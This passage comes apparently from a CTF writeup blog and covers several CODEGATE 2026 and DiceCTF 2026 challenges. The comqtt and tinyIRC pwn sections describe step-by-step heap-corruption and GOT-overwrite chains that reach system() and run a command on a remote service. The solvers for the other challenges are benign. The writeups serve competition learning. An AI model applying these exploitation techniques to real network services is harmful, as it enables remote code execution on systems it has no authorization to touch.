reason:\nImport the oracle exactly once. Burn 57 dummy seed calls to advance the internal tick counter to the right state. Call checkpoint for index 2 with 652393318. Call checkpoint for index 1 with 2916723419. Call checkpoint for index 0 with 984171264. Call ticket with 917138306. Call witness with 3074120555. I arrived at that exact order because the host state is doing two things at once:\nvalidating the numeric relationships enforcing when those relationships are allowed to become true So the solve is not just \u0026ldquo;find the right constants.\u0026rdquo; It is \u0026ldquo;find the right constants and spend the right number of ticks before using them.\u0026rdquo;\nVerification # I reran the solve locally on March 29, 2026 through the shipped harness and host libraries, and it still reached the success path:\nSuccess! codegate2026{fake_flag} That local rerun is enough to confirm that the call order, arithmetic, and timing are still right. I did not have a fresh public remote endpoint available in the repo during this rewrite pass, so the real flag below is still the one from the earlier successful remote submission of the same solve.grim.\nFinal flag:\ncodegate2026{f384dc82142a7d21afd1e10b7f55be4d6798d7973720d536a903d64469d91074f25f04345e9375f8dfe647aa33e367006adc198362eb40f0a94a27f26be6b509fee2d0c33e63} ","date":"29 March 2026","externalUrl":null,"permalink":"/writeups/codegate2026/cogwartslang/writeup/","section":"Writeups","summary":"CODEGATE 2026 Quals - CogwartsLang # Category: Reverse Engineering Challenge: CogwartsLang Solver: solve.grim TL;DL # The language syntax is mostly decoration. The real challenge is the oracle host module loaded by harness. Once I understood that the important state lived in the host and not in the source language, the solve became a timing problem: reconstruct the oracle’s arithmetic, identify the exact checkpoint and ticket values, and call the host functions in the right order without accidentally burning extra ticks.\n","title":"Cogwartslang","type":"writeups"},{"content":" CODEGATE 2026 Quals - comqtt # Category: Pwn Challenge: mqtt / comqtt Solver: solve.py TL;DL # The broker has a retained-message deletion bug that leaves a stale tail entry behind after compaction. On the next retained insert, that stale slot frees a payload pointer that a live retained entry still references. Because each client runs in its own thread and glibc tcache is per-thread, that one mistake becomes a cross-thread tcache-dup primitive. I used it first to build an arbitrary-read oracle, then to dump the live libc image, resolve system() from the in-memory ELF data, and finally overwrite free@GOT with the real runtime address instead of guessing a libc version.\nOverview # The first thing I had to stop getting wrong was the network layout. The public port is not the MQTT broker. It is an admin console that prints:\nBroker port : \u0026lt;ephemeral_port\u0026gt; The admin socket stays open while the real broker runs elsewhere. That means I have two different channels to think about:\nthe admin socket, which gives me the broker port and later returns the command output the broker port, where all heap corruption happens through MQTT traffic That split shaped the exploit from the start. Any time I forgot that the admin side and the broker side were different processes and different sockets, I ended up debugging the wrong thing.\nThe binary itself is a non-PIE 64-bit ELF with NX, a canary, and partial RELRO. That already pushed me toward heap corruption and GOT overwrite rather than trying to invent a stack bug that was not there.\nAnalysis # The root bug sits in retained-message deletion. When the broker deletes a retained topic, it frees the payload, decrements the retained count, and copies the last retained entry over the deleted slot. The old tail slot is never cleared. On the next retained insert, that stale slot is treated like reusable metadata and its payload pointer gets freed again even though a live retained entry still points to it.\nBy itself, that is a use-after-free with a stale metadata reference. The reason it becomes a real exploit primitive is the threading model. Each MQTT client is handled in its own detached thread, and glibc tcache is per-thread. That means the same small chunk can be freed into two different tcaches:\nonce in thread A again in thread B After that, both threads can allocate the same address from their own bins. That is the core of the exploit.\nI did not try to jump straight to code execution from there. The first thing I wanted was a leak. With modern glibc, safe-linking makes blind poisoning much less pleasant, and I needed to know exactly what process I was corrupting. Replaying the freed retained payload gives back the first qword of a tcache entry, which is enough to recover the safe-linking mask for that chunk. That made later poisoning controlled instead of hopeful.\nOnce I had the mask, I redirected one duplicated small chunk onto retained metadata for a topic I kept named LEAK. That was a deliberate design choice. I wanted a primitive that fit the broker\u0026rsquo;s normal behavior. If retained metadata for LEAK points to an arbitrary address and size, then a normal subscribe to LEAK turns the broker into an arbitrary-read oracle. That is much easier to debug than a one-shot smash straight into the GOT.\nThe most annoying failure in the whole solve came after that stage. My first exploit guessed a specific Ubuntu glibc 2.39 point release and computed system() from a leaked function pointer using hard-coded offsets. That worked locally and still failed remotely. This is exactly the kind of pwn failure I distrust most, because everything before the final overwrite looks healthy. The heap corruption works, the leaks look real, and only the last jump target is wrong.\nThat is why I changed techniques. Instead of arguing with the remote libc version, I used the arbitrary-read primitive properly. After leaking one GOT entry, I dumped the live mapped libc image from memory, searched that dump for the ELF header, walked the dynamic table, and resolved system from the actual dynsym data in the running process.\nThat was the right pivot because it removed the last brittle assumption from the exploit. From that point on, the final overwrite targeted the real system() of the real process I was currently exploiting.\nThe other practical issue was thread lifetime. Once two tcaches share corrupted state, closing helper connections too aggressively is a good way to crash the exploit during thread teardown instead of during the interesting part. The final solver keeps several corrupted client trios alive on purpose. It looks messy, but that mess is there because it matched the service\u0026rsquo;s behavior better than trying to clean up politely.\nOne rerun detail was worth keeping in the writeup because it reflects a real implementation edge. Running the solver locally against deploy/mqtt hit the fallback libc-dump path and later timed out during an arbitrary-read round. Running the same logic against the packaged ubuntu-server wrapper succeeded immediately. That reinforced the earlier lesson: for this challenge, matching the intended runtime environment matters.\nExploit # The final flow was:\nConnect to the admin console and parse the ephemeral broker port. Seed retained topics so the metadata layout becomes predictable. Use multiple client threads to duplicate one small chunk across two tcaches. Leak the safe-linking mask from the freed retained payload. Poison the duplicated chunk onto retained metadata for topic LEAK. Subscribe to LEAK and use the broker as an arbitrary-read primitive. Leak read@GOT, then dump the live libc image and resolve system() from the in-memory ELF structures. Run a second corruption round against the GOT window. Overwrite only free@GOT with the resolved system() address. Send a normal non-retained publish whose payload is cat /home/ctf/flag. Let the broker free that temporary payload and read the command output back on the admin socket. I like this endgame because it is boring in the right way. Once free@GOT points to system, I do not need a fancy trigger. The broker already allocates and frees temporary publish payloads during ordinary operation. Using a normal publish as the trigger keeps the exploit aligned with the program\u0026rsquo;s real control flow instead of forcing an unnatural crashy path.\nVerification # The packaged local reproduction still works and returns the placeholder flag:\ncodegate2026{fake_flag} For the live service, I had a successful fresh rerun on March 29, 2026 that produced:\ncodegate2026{07fd7ea9d9e17fd79f4f6274a3e421904edf570d193e6610dc3bec7e80490fa1c2bad262e3a08434c800c0a25cc5875de4a3298221442c071275} I also had a later rerun time out in the arbitrary-read stage after the quiet-output cleanup, which is worth mentioning because it reflects real exploit fragility rather than a documentation issue. The working path is solid, but it is still a multithreaded heap exploit against a network service, not a one-packet toy.\nFinal flag:\ncodegate2026{07fd7ea9d9e17fd79f4f6274a3e421904edf570d193e6610dc3bec7e80490fa1c2bad262e3a08434c800c0a25cc5875de4a3298221442c071275} ","date":"29 March 2026","externalUrl":null,"permalink":"/writeups/codegate2026/comqtt/writeup/","section":"Writeups","summary":"CODEGATE 2026 Quals - comqtt # Category: Pwn Challenge: mqtt / comqtt Solver: solve.py TL;DL # The broker has a retained-message deletion bug that leaves a stale tail entry behind after compaction. On the next retained insert, that stale slot frees a payload pointer that a live retained entry still references. Because each client runs in its own thread and glibc tcache is per-thread, that one mistake becomes a cross-thread tcache-dup primitive. I used it first to build an arbitrary-read oracle, then to dump the live libc image, resolve system() from the in-memory ELF data, and finally overwrite free@GOT with the real runtime address instead of guessing a libc version.\n","title":"Comqtt","type":"writeups"},{"content":" CODEGATE 2026 Quals - Greybox # Category: Reverse Engineering Challenge: Oh! My Greybox Keeps Running! Files: deploy/prob, deploy/target Solver: solver.py TL;DL # The binary hides a small VM behind fake FILE state and libc teardown machinery. The hard part is not the arithmetic. The hard part is recognizing that the weird runtime wrapper is only there to make the VM harder to spot. Once I aligned the handler table correctly and confirmed how the scheduler dispatches handlers, the shortest reliable solve was to record one concrete trace, replay that trace symbolically, and let z3 recover the 64-byte accepted input.\nOverview # This challenge looked small enough that I expected either a packed checker or a very compact VM, and strings pushed me toward the second explanation immediately:\nSucess! Flag is codegate2026{%.*s} Wrong! ./target Input: Input length must be 64bytes... That single format string matters a lot. It means the binary is not printing a hidden flag from data or code. It is printing the accepted 64-byte input back inside the flag format. Once I knew that, the whole problem became \u0026ldquo;recover the exact accepted input\u0026rdquo; rather than \u0026ldquo;find some secret string in memory.\u0026rdquo;\nThe handout included only the stripped ELF, a target blob, and the Docker setup. So my first goal was not to understand every libc trick around it. It was to find the real execution engine hidden inside the wrapper.\nAnalysis # main itself is very small. It reads 64 bytes, then hands control to a much larger helper that loads ./target, builds a pair of internal state objects, and initializes a 19-entry function table. My first pass over that function table was not productive at all. It looked like broken disassembly: overlapping handlers, strange fallthrough, and code that did not make semantic sense.\nThat turned out to be my mistake, not the binary\u0026rsquo;s. The jump table was real, but several handlers were being decoded from the wrong byte boundary. Once I corrected the alignment, the whole VM snapped into focus. The \u0026ldquo;greybox\u0026rdquo; feeling of impossible control flow was mostly an artifact of reading the dispatcher one byte off.\nThe next question was why the handlers were not called in a normal loop. The answer is the challenge gimmick: the binary builds fake FILE-like objects and lets libc teardown paths drive the scheduler. I confirmed that with a failing run under strace, because the process kept doing libc-flavored cleanup work long after main should have been finished. That was enough for me. I did not need to reverse every fake FILE field in detail. I only needed to follow execution until I understood the dispatch rule and the state transitions.\nThat was a deliberate choice. I could have spent a lot more time explaining every part of the fake runtime, but that would not have moved me toward the accepted input any faster. Once I could see the scheduler clearly, the VM itself was much more ordinary than the wrapper tried to suggest.\nThe key dispatch rule came from tracing the scheduler in GDB:\nhandler = target[pc] + carry - 3 The carry bit depends on which of the two fake states is active, so the state alternation is predictable. From there the handlers were small and readable: register moves, immediate loads, input-word loads and stores, arithmetic and logical ops, shifts, compare-not-equal, branches, and a finish handler.\nThe next important question was whether I needed full path exploration. If the executed handler sequence depended heavily on the input, a one-trace solve would have been fragile. What made this challenge pleasant is that the control-flow skeleton is effectively fixed for the interesting path. The input changes values in registers, but not the overall sequence of handlers I needed to model. That is why I chose a trace-and-replay solve rather than trying to symbolically model the entire scheduler from scratch.\nOnce I trusted that choice, the rest of the design followed naturally:\nrun the VM concretely once record the exact handler trace rebuild only that trace symbolically That is much cleaner than trying to derive one huge symbolic model from disassembly alone. It also let me avoid over-engineering the solver. I did not need a full VM lifter. I only needed a faithful replay of the executed path.\nI also added printable constraints first because the successful input is printed directly back as the flag body. That was not required for correctness, but it was a practical choice. If several satisfying assignments existed, I wanted the one that turned into a sensible printable flag string.\nExploit # The final solver does exactly the minimum I found trustworthy:\nExecute the checker once with zero input. Record the executed (pc, state, handler) trace and the concrete branch outcomes. Rebuild that same trace symbolically using sixteen unknown 32-bit words. Emit SMT-LIB and let z3 solve it instead of hand-writing one giant formula. Ask for a printable model first, then relax that constraint only if necessary. Pack the model back into 64 bytes and verify it against the original program before printing. I liked this approach because it matches the actual challenge structure. The binary is trying hard to hide a small deterministic computation inside a noisy runtime shell. Replaying the real executed path is a direct answer to that design. I am not fighting the wrapper on its terms. I am stepping around it.\nVerification # I reran solver.py on March 29, 2026 after cleaning up the default output path. The solver now prints only the final recovered flag, and it still self-verifies the candidate against the original binary before returning success.\nThe rerun produced:\ncodegate2026{4h!_C0ngr47u147i0ns!_L37_m3_kn0w_why_7his_gr3y_b0x_d03s_n07_3nd!} Final flag:\ncodegate2026{4h!_C0ngr47u147i0ns!_L37_m3_kn0w_why_7his_gr3y_b0x_d03s_n07_3nd!} ","date":"29 March 2026","externalUrl":null,"permalink":"/writeups/codegate2026/greybox/writeup/","section":"Writeups","summary":"CODEGATE 2026 Quals - Greybox # Category: Reverse Engineering Challenge: Oh! My Greybox Keeps Running! Files: deploy/prob, deploy/target Solver: solver.py TL;DL # The binary hides a small VM behind fake FILE state and libc teardown machinery. The hard part is not the arithmetic. The hard part is recognizing that the weird runtime wrapper is only there to make the VM harder to spot. Once I aligned the handler table correctly and confirmed how the scheduler dispatches handlers, the shortest reliable solve was to record one concrete trace, replay that trace symbolically, and let z3 recover the 64-byte accepted input.\n","title":"Greybox","type":"writeups"},{"content":" CODEGATE 2026 Quals - oldschool # Category: Reverse / AEG Challenge: oldschool Description: Back to the past Solver: solver.py Client helper: drive_client.py TL;DL # The provided Go client is only a courier. The real challenge is the ELF it downloads every round. Each round binary checks sha256(input[:4]), uses those same four bytes to decrypt a 7-instruction VM program, runs the remaining 60 bytes through that VM, applies one more generated bytewise transform, and compares the result against a target buffer in .rodata. I solved it by separating the stable part from the unstable part: recover the 4-byte prefix statically, invert the VM cleanly, and let one or two GDB probes reveal the final generated stage instead of trying to re-lift that tail by hand every round.\nOverview # The handout looked almost intentionally unhelpful. There was no obvious challenge binary, only a Go client and the same file again in the archive. That immediately told me where to start: before doing any reversing on the per-round binaries, I needed to understand how the client asked for them and how it submitted answers.\nThat was a good first move because the client was not hiding anything clever. The useful functions were easy to find, the protobuf message types were obvious, and the framing was simple: 1 byte type + 4 byte big-endian length + protobuf payload. Once I traced RequestChallenge and SubmitAnswer, the server interaction became mechanical. The only thing I really needed from the client was the dropped ELF path and the final success/failure messages.\nRunning the official client against the service made the actual challenge finally appear: prob1.bin, prob2.bin, and so on. At that point the job stopped being \u0026ldquo;reverse a Go client\u0026rdquo; and became \u0026ldquo;reverse twenty related ELFs quickly enough that the transport never becomes the hard part.\u0026rdquo;\nAnalysis # The first useful binary made the overall shape obvious. It reads exactly 64 bytes, hashes part of the input, transforms the rest through a tiny custom VM, runs one more stage, then compares against a 60-byte target in .rodata.\nThe first important correction was noticing that the SHA-256 check only covers the first 4 input bytes. That same 4-byte prefix is also reused to decrypt the embedded program seed into the real 7-instruction VM program. That split is what made the whole challenge manageable:\nthe prefix decides the VM program the suffix is the data the program transforms Once I saw that, brute-forcing the prefix stopped sounding ridiculous. I was not brute-forcing a whole answer. I was only testing four independent bytes against very strong structural filters. For each byte position, I kept only values that decrypted instructions with sane properties: valid opcode, non-zero repeat count, valid next-PC, and valid table selector. That collapses the search space very quickly. The embedded SHA-256 digest then removes the last ambiguity.\nThat is why I chose a structural search for the prefix instead of trying to symbolically solve the whole binary end to end. The binary itself was already telling me how to prune the search, and the prefix space was tiny compared to the full 64-byte input.\nOnce the prefix was fixed, the VM was much less intimidating than it first looked. The instruction families are all table-based and all invertible once the right tables are loaded from .rodata: a bytewise transform table, a 60-byte permutation, a 256-byte substitution table, and a slightly stateful opcode whose behavior still depends only on fixed data plus the recovered prefix.\nMy first real mistake came from overfitting to one sample. I initially treated some of the tables as if their absolute addresses mattered. That happened to work on the first binary I was staring at, then failed immediately on the next one. The real invariant was not address identity. It was section-relative layout inside .rodata. Switching to pyelftools and reading everything by .rodata offset fixed that class of mistakes for good.\nThe second wrong turn was more subtle. After reversing one round, I thought the final post-VM stage was simple enough to just lift directly and reuse. That also broke on fresh rounds. The binaries all come from the same template, but the last transform is generated differently enough that hard-coding it is exactly the kind of shortcut this challenge punishes.\nThat was the point where the solve became much cleaner. Instead of insisting on a full static lift, I asked what I actually needed. By that point I already trusted my model of the prefix recovery and the VM itself. The only unknown was the last 60-byte transform right before the final memcmp(). So I stopped reversing there and used the binary itself as the oracle for the unstable part.\nThe GDB probe is small but decisive. I run the binary under gdb --batch, break at the final memcmp() when rdx == 0x3c, and dump the 60-byte buffer passed in $rdi. For one or two chosen payloads, that gives me clean (pre_final, post_final) pairs. Once I have those pairs, the inference problem is tiny compared to the original reversing problem. For each modulo-4 byte class, I search over a narrow family of transforms: xor, add, or sub, optionally combined with a rotate under a small modular condition. That search is cheap, and it matched every round cleanly.\nThat is also why I kept a local validator in the solver. This challenge is the kind where a nearly-correct model looks convincing right up until the server rejects it. I wanted the script to prove the recovered answer against the binary locally before it ever went back to the official client.\nExploit # The final workflow was:\nRequest the next round with the official client and wait for the dropped ELF. Parse .rodata with pyelftools instead of relying on absolute addresses. Recover the 4-byte prefix by decrypting candidate VM programs and filtering on instruction structure. Keep the candidate whose prefix digest matches the embedded SHA-256 value. Emulate the 7-instruction VM forward and backward. Run one or two chosen payloads under GDB and dump the final compare buffer at memcmp(). Infer the generated final-stage transform from those buffer pairs. Invert the whole pipeline, validate the recovered answer locally, then feed it back to the official client. I deliberately kept the network layer boring after that. drive_client.py does not try to replace the official client or speak protobuf directly. It just watches the existing client output for binary_path=..., solves the dropped ELF, and writes the answer back. That was a pragmatic choice. Once the protobuf path was already working, there was no reason to introduce a second custom transport layer and risk a self-inflicted bug.\nVerification # I reran the full service flow on March 29, 2026 with drive_client.py and let it solve all 20 rounds again. The method did not need any structural change; only the final flag changed, which is exactly what I want to see from an AEG-style solve.\nThe fresh rerun ended with:\ncodegate2026{77d3a1094cb1b78aa8f41e542f2cd47a34638c0d2c18fe2a6c2158af8e6958a88fd8ca793f4c2f4643363c13417cfcfcad1650bfa737c85fa7e3080d7d1900f3f137eda4955dd2c3} Final flag:\ncodegate2026{77d3a1094cb1b78aa8f41e542f2cd47a34638c0d2c18fe2a6c2158af8e6958a88fd8ca793f4c2f4643363c13417cfcfcad1650bfa737c85fa7e3080d7d1900f3f137eda4955dd2c3} ","date":"29 March 2026","externalUrl":null,"permalink":"/writeups/codegate2026/oldschool/writeup/","section":"Writeups","summary":"CODEGATE 2026 Quals - oldschool # Category: Reverse / AEG Challenge: oldschool Description: Back to the past Solver: solver.py Client helper: drive_client.py TL;DL # The provided Go client is only a courier. The real challenge is the ELF it downloads every round. Each round binary checks sha256(input[:4]), uses those same four bytes to decrypt a 7-instruction VM program, runs the remaining 60 bytes through that VM, applies one more generated bytewise transform, and compares the result against a target buffer in .rodata. I solved it by separating the stable part from the unstable part: recover the 4-byte prefix statically, invert the VM cleanly, and let one or two GDB probes reveal the final generated stage instead of trying to re-lift that tail by hand every round.\n","title":"Oldschool","type":"writeups"},{"content":" CODEGATE 2026 Quals - tinyIRC # Category: Pwn Challenge: tinyIRC Remote launcher: nc 15.165.70.236 20998 Solver: solve.py TL;DL # The wrapper port is not the IRC service. It prints the real port, keeps the wrapper process attached to the child, and becomes the side channel that later carries the leak and the flag. Inside the IRC server, QUIT clears a client slot while the recv loop is still using the stale pointer, and a reused slot can come back with a negative input_len. That negative length becomes a reusable cross-slot overwrite. I used it first to turn memmove() into printf() for a same-process libc leak, then to replace strtok@got with system() and run cat /home/ctf/flag \u0026gt;\u0026amp;2.\nOverview # The most important thing to understand first is that 20998 is not the actual IRC port. Connecting there starts the real server on a random port and prints a line like:\ntinyIRC server listening on port \u0026lt;random_port\u0026gt; That sounds like a wrapper nuisance, but it is actually part of the exploit surface. The wrapper socket stays open, and later it becomes the place where the leaked libc address and the final flag come back. So I treated it as a control channel from the beginning rather than as a throwaway launcher.\nThe binary itself is a non-PIE 64-bit ELF with NX, a canary, CET, and partial RELRO. That combination already pushed me away from any fantasy about an easy stack overwrite. If I was going to get code execution, it was much more likely to come from a stable logic bug plus a GOT pivot than from fighting the mitigations head on.\nAnalysis # Each IRC client lives in a fixed-size slot in .bss. The fields that matter are the input buffer and the input length. Once I mapped those, the bug in the QUIT path became the center of the challenge.\nThe problem is not that QUIT merely disconnects a client. The real issue is timing inside the recv loop. After one full IRC line is parsed, disconnect() clears the client slot immediately, but the surrounding loop keeps running with the pointer it already had. That means the rest of the loop is now operating on stale state that no longer matches what the connection manager thinks is in that slot.\nMy first question was whether that only bought me a crash or a one-shot disconnect bug. It turned out to be much better than that because reconnecting into the same slot does not fully reinitialize the structure. In particular, a negative input_len can survive across reuse.\nThat made the technique choice much clearer. I did not need to force control flow directly. I needed to turn stale slot reuse into a stable write primitive.\nThe useful magic value was slot 1 with len = -111. That offset is not arbitrary. It lines up so that writes through slot 1 walk back into slot 0\u0026rsquo;s header:\nslot1.buffer - 111 = slot0.len So one carefully sized packet sent through the recycled slot can repair slot 1 just enough to keep it usable while also overwriting slot0.len with the next negative value I want. That is what makes the exploit chain reusable instead of one-shot.\nThe next thing I had to learn the hard way was that the primitive does not behave like a tiny arbitrary write. Short writes are unreliable because the recv loop checks whether len + recv_len exceeds the buffer limit before copying, and a negative len looks enormous in that arithmetic. The workaround was to stop thinking in terms of small surgical writes. Each exploit stage became a broad overwrite that starts near the target and stretches forward into the real buffer.\nThat shaped the first stage. I chose memmove@got as the first target because the server naturally calls memmove() inside the recv path, and I already had a convenient output channel on the wrapper socket. Replacing memmove with printf@plt lets me turn a normal server action into a format-string leak without restarting the child. I also patched strtok@got to a tiny helper so the parser survived long enough to use the leak.\nThat decision was much better than trying to jump straight to system(). I needed a libc address from the same child process first, and the printf() pivot gave me one in a way that fit the service\u0026rsquo;s normal behavior.\nThe actual leak became clean once I mapped the positional-argument layout. After I knew which overwritten qwords showed up as which printf arguments, I could plant fprintf@got in a controlled slot and recover the live libc address with a single format string.\nThen the second stage reused the same negative-length primitive, this time starting near strtok@got. Once libc was known, strtok -\u0026gt; system was the neatest endgame because the call site was already there. I only had to make sure the first argument was a command string:\ncat /home/ctf/flag \u0026gt;\u0026amp;2 Sending it to stderr mattered because stderr was still attached to the wrapper socket I had kept alive from the beginning.\nThe part that made this challenge feel real instead of toy-like was process lifetime. The exploit is easy to describe if each stage gets a fresh process. The actual challenge is keeping the same child alive through the leak and the final pivot. That is why the solver is organized around one long-lived instance instead of many short disconnected attempts.\nExploit # The final order was:\nConnect to the wrapper and read the real IRC port. Keep that wrapper socket open because it will later carry the leak and the flag. Open the victim connection that will trigger both corruption stages. Recycle a helper slot until it comes back with len = -111. Use that helper slot to set slot0.len = -0xD7. Perform the broad overwrite starting at memmove@got and pivot memmove() into printf(). Leak fprintf@libc, compute the libc base, then compute system(). Re-arm the helper path and set slot0.len = -0xC7. Perform the second broad overwrite starting at strtok@got. Trigger system(\u0026quot;cat /home/ctf/flag \u0026gt;\u0026amp;2\u0026quot;) and read the result on the wrapper socket. I wrapped the whole exploit in retries because the transport still has timing edges, but the exploit chain itself is not guesswork once the same child survives both stages.\nVerification # I reran solve.py on March 29, 2026 with the quieter default output path. The service still behaves like a per-instance challenge, so I am treating the value below as a fresh rerun example rather than pretending there is one eternal tinyIRC flag.\nThe successful rerun printed:\ncodegate2026{382ade6995beaf7de132a74d99285e638c92a0f0231e1ca091c39ace85450036e6d5b15634e078d01ab1bee515893575dccc097c02f509ee52e271ce9b95f36b85f26013f452cd76} Final flag:\ncodegate2026{382ade6995beaf7de132a74d99285e638c92a0f0231e1ca091c39ace85450036e6d5b15634e078d01ab1bee515893575dccc097c02f509ee52e271ce9b95f36b85f26013f452cd76} ","date":"29 March 2026","externalUrl":null,"permalink":"/writeups/codegate2026/tinyirc/writeup/","section":"Writeups","summary":"CODEGATE 2026 Quals - tinyIRC # Category: Pwn Challenge: tinyIRC Remote launcher: nc 15.165.70.236 20998 Solver: solve.py TL;DL # The wrapper port is not the IRC service. It prints the real port, keeps the wrapper process attached to the child, and becomes the side channel that later carries the leak and the flag. Inside the IRC server, QUIT clears a client slot while the recv loop is still using the stale pointer, and a reused slot can come back with a negative input_len. That negative length becomes a reusable cross-slot overwrite. I used it first to turn memmove() into printf() for a same-process libc leak, then to replace strtok@got with system() and run cat /home/ctf/flag \u003e\u00262.\n","title":"Tinyirc","type":"writeups"},{"content":"","date":"19 March 2026","externalUrl":null,"permalink":"/categories/dicectf-2026/","section":"Categories","summary":"","title":"DiceCTF 2026","type":"categories"},{"content":" First reaction # The challenge description tells you, very politely, not to solve it the obvious way:\ndon\u0026rsquo;t interpret the puzzle, it will OOM your computer\nThat was accurate. The provided interpreter can start reducing the source program, but doing the whole thing through Church-encoded lambda calculus is hopelessly slow. So from the beginning, the real solve was always going to be static analysis.\nRecognizing the language # The first definitions in flag_riddle.txt give the theme away:\n真以矛盾而为矛矣 假以矛盾而为盾矣 正以人而为人矣 Those are just Church booleans and the identity function written with Chinese tokens. Once that clicked, the file stopped looking like an unknown esolang and started looking like a parser problem.\nThe core grammar is compact:\nToken Meaning 以...而为 function definition 于 application 为 binding 矣 end of statement Confirming it in the binary # I still checked the interpreter in IDA to make sure the source-language guess matched reality.\nThe decompilation confirmed a normal lambda-calculus interpreter with three node types:\nType Meaning 0 variable reference 1 lambda abstraction 2 application The output path was also revealing. The interpreter walks a Church-encoded linked list, converts one Church numeral at a time into an integer by counting f applications, writes the corresponding byte, then advances to the tail.\nThat was the key mental shift: I did not need to evaluate the lambda calculus directly. I only needed to recover the arithmetic expression graph that eventually produced those numerals.\nTurning the source into ordinary data # A few encodings matter:\n朝...暮 wraps binary literals 春 means bit 0 秋 means bit 1 bits are read least-significant-bit first So something like:\n朝秋春秋暮 represents 1 + 0 + 4 = 5.\nThe flag itself is stored as a linked list built from Church-style helpers such as 双, 有, 无, 本, 末, 在, and 用. Once I parsed the 旗 definition, I had the exact order of the variables that corresponded to flag characters.\nThe remaining work was evaluating the definitions that produced those variables.\nThe important operator mapping # The place I could have gone wrong was the arithmetic vocabulary.\nThe critical discovery was:\n销 is subtraction 次 is multiplication The sanity check that made this clear was one of the data chains:\n10! + 8! = 3669120 3669120 - 3669110 = 10 That only makes sense if 销 means subtraction. After that, the rest of the numeric expressions started falling into place.\nThe nice design choice in the challenge is that it uses huge operations like factorial without making the final values huge. Terms such as 32! / 31! collapse cleanly back to small integers, so a plain Python evaluator with big integers is enough.\nSolver # My static solver did three things:\nstrip away non-CJK wrapper text, parse each definition into a tiny expression DAG, evaluate literals, add/sub/mul/div/pow/factorial recursively with memoization. This was enough:\nimport math import re clean = re.sub(r\u0026#34;[^\\u2E00-\\u9FFF]\u0026#34;, \u0026#34;\u0026#34;, open(\u0026#34;flag_riddle.txt\u0026#34;, \u0026#34;r\u0026#34;).read()) data = clean[clean.index(\u0026#34;㐀为朝\u0026#34;):] flag_start = data.index(\u0026#34;旗为\u0026#34;) code_section = data[:flag_start] flag_names = re.findall(r\u0026#34;有(.)\u0026#34;, data[flag_start:]) variables = {} for stmt in code_section.split(\u0026#34;矣\u0026#34;): if \u0026#34;为\u0026#34; not in stmt: continue name, expr = stmt.split(\u0026#34;为\u0026#34;, 1) if len(name) != 1 or not expr: continue if expr.startswith(\u0026#34;朝\u0026#34;) and \u0026#34;暮\u0026#34; in expr: bits = expr[1:expr.index(\u0026#34;暮\u0026#34;)] variables[name] = (\u0026#34;lit\u0026#34;, sum((1 \u0026lt;\u0026lt; i) for i, ch in enumerate(bits) if ch == \u0026#34;秋\u0026#34;)) elif expr[0] == \u0026#34;合\u0026#34;: variables[name] = (\u0026#34;add\u0026#34;, expr[1], expr[2]) elif expr[0] == \u0026#34;销\u0026#34;: variables[name] = (\u0026#34;sub\u0026#34;, expr[1], expr[2]) elif expr[0] == \u0026#34;次\u0026#34;: variables[name] = (\u0026#34;mul\u0026#34;, expr[1], expr[2]) elif expr[0] == \u0026#34;分\u0026#34;: variables[name] = (\u0026#34;div\u0026#34;, expr[1], expr[2]) elif expr[0] == \u0026#34;幂\u0026#34;: variables[name] = (\u0026#34;pow\u0026#34;, expr[1], expr[2]) elif expr[0] == \u0026#34;阶\u0026#34;: variables[name] = (\u0026#34;fact\u0026#34;, expr[1]) cache = {} def eval_var(name): if name in cache: return cache[name] op, *args = variables[name] if op == \u0026#34;lit\u0026#34;: value = args[0] elif op == \u0026#34;add\u0026#34;: value = eval_var(args[0]) + eval_var(args[1]) elif op == \u0026#34;sub\u0026#34;: value = max(eval_var(args[0]) - eval_var(args[1]), 0) elif op == \u0026#34;mul\u0026#34;: value = eval_var(args[0]) * eval_var(args[1]) elif op == \u0026#34;div\u0026#34;: value = eval_var(args[0]) // eval_var(args[1]) elif op == \u0026#34;pow\u0026#34;: value = eval_var(args[0]) ** eval_var(args[1]) else: value = math.factorial(eval_var(args[0])) cache[name] = value return value print(\u0026#34;\u0026#34;.join(chr(eval_var(name)) for name in flag_names)) Flag # dice{y0u_int3rpret3d_Th3_CJK_gr4mMaR_succ3ssfully} The program continues with extra Chinese text after the closing brace, but the ASCII substring above is the actual flag.\nTakeaway # I liked this challenge because the \u0026ldquo;esoteric interpreter\u0026rdquo; part is mostly there to scare you into doing too much work. Once the syntax and operator mapping were clear, the right move was to throw away the interpreter and treat the source as serialized arithmetic.\n","date":"19 March 2026","externalUrl":null,"permalink":"/writeups/dicectf2026/interpreter/","section":"Writeups","summary":"First reaction # The challenge description tells you, very politely, not to solve it the obvious way:\n","title":"Interpreter Required","type":"writeups"},{"content":" First look # This challenge shipped a bzImage, an initramfs.cpio.gz, and a remote VM that dropped into a BusyBox shell. That immediately made me think \u0026ldquo;driver challenge,\u0026rdquo; so I unpacked the initramfs before spending time on the remote instance.\nThe init script confirmed that instinct:\nif [ ! -e /dev/challenge ]; then mknod /dev/challenge c 10 123 fi chmod 666 /dev/challenge exec setsid cttyhack su -s /bin/sh ctf So the whole challenge surface was a world-writable character device exposed to an unprivileged user. At that point the job was clear: reverse the device interface, then talk to it directly.\nReversing the device # After extracting vmlinux from the kernel image, I traced the misc-device handlers and mapped the useful IOCTLs:\nIOCTL Value Meaning RESET 0x6489 Start a new maze GET_MOVES 0x80046486 Return a bitmask of valid moves GET_FLAG 0x80406487 Return the flag at the goal cell MOVE 0x40046488 Move in one of six directions The driver implements a 3D maze. The movement indices come in opposite pairs:\n0 \u0026lt;-\u0026gt; 2 1 \u0026lt;-\u0026gt; 3 4 \u0026lt;-\u0026gt; 5 Once I understood that, the kernel part of the challenge got much simpler. This was just DFS with backtracking.\nThe maze was easy # The actual search logic is standard:\nRESET the maze, ask GET_MOVES for valid directions, try each unexplored move, call GET_FLAG after each step, backtrack when stuck. So the algorithm was never the hard part.\nThe upload constraint was the real obstacle # What actually slowed me down was the environment.\nThe VM was tiny, there was no convenient upload path, and the session timed out quickly. My first attempt used a normal statically linked helper binary, and it was far too large to paste over the connection reliably.\nThat forced the real pivot in the solve: the helper had to be rebuilt as something much smaller.\nI rewrote it to avoid libc entirely and use only raw syscalls for the handful of operations I needed:\nopen ioctl write exit Then I built it with size-focused flags, stripped it aggressively, compressed it, base64-encoded it, and uploaded it through a heredoc. That was the difference between \u0026ldquo;interesting local solve\u0026rdquo; and \u0026ldquo;actually usable on remote.\u0026rdquo;\nThe final delivery path looked like this:\ncat \u0026gt; /tmp/exp.b64 \u0026lt;\u0026lt;\u0026#39;__EOF__\u0026#39; \u0026lt;base64 payload\u0026gt; __EOF__ base64 -d 